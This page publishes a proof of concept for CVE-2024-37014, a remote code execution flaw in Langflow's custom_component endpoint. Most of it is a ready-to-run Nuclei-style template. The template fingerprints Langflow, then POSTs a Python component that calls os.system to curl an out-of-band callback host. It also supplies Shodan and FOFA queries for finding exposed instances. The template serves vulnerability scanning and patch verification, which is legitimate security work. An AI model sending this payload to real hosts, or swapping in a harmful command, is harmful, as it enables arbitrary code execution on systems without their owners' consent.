CVE-2024-37014: Langflow <= 1.0.12 - Remote Code Execution

2026-08-05 Langflow PoC Public

Description

Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.

PoC

id: CVE-2024-37014

info:
  name: Langflow <= 1.0.12 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Langflow that addresses this issue or apply security patches.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37014
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-37014
    epss-score: 0.63037
    epss-percentile: 0.9916
    cwe-id: CWE-94
    cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: langflow
    product: langflow
    shodan-query: http.title:"Langflow"
    fofa-query: title="Langflow"
  tags: cve,cve2024,langflow,rce,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v1/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "Langflow", "langflow")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/custom_component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code":"import os\nfrom langflow.custom import Component\nfrom langflow.io import Output\n\nclass RCEProbe(Component):\n    display_name = \"Probe\"\n    outputs = [Output(display_name=\"Out\", name=\"out\", method=\"run\")]\n    def run(self):\n        os.system('curl -m 5 -s http://{{interactsh-url}}')\n        return ''\n"}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or
# digest: 490a0046304402203cf9d4b6083574dafa90e4ecdc8da29b6a272b555286696e6bb48c801a876b010220008d9ae8104c26557e8a1b1e6bd4b451d05057c32348641c673779a953bbc5f9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities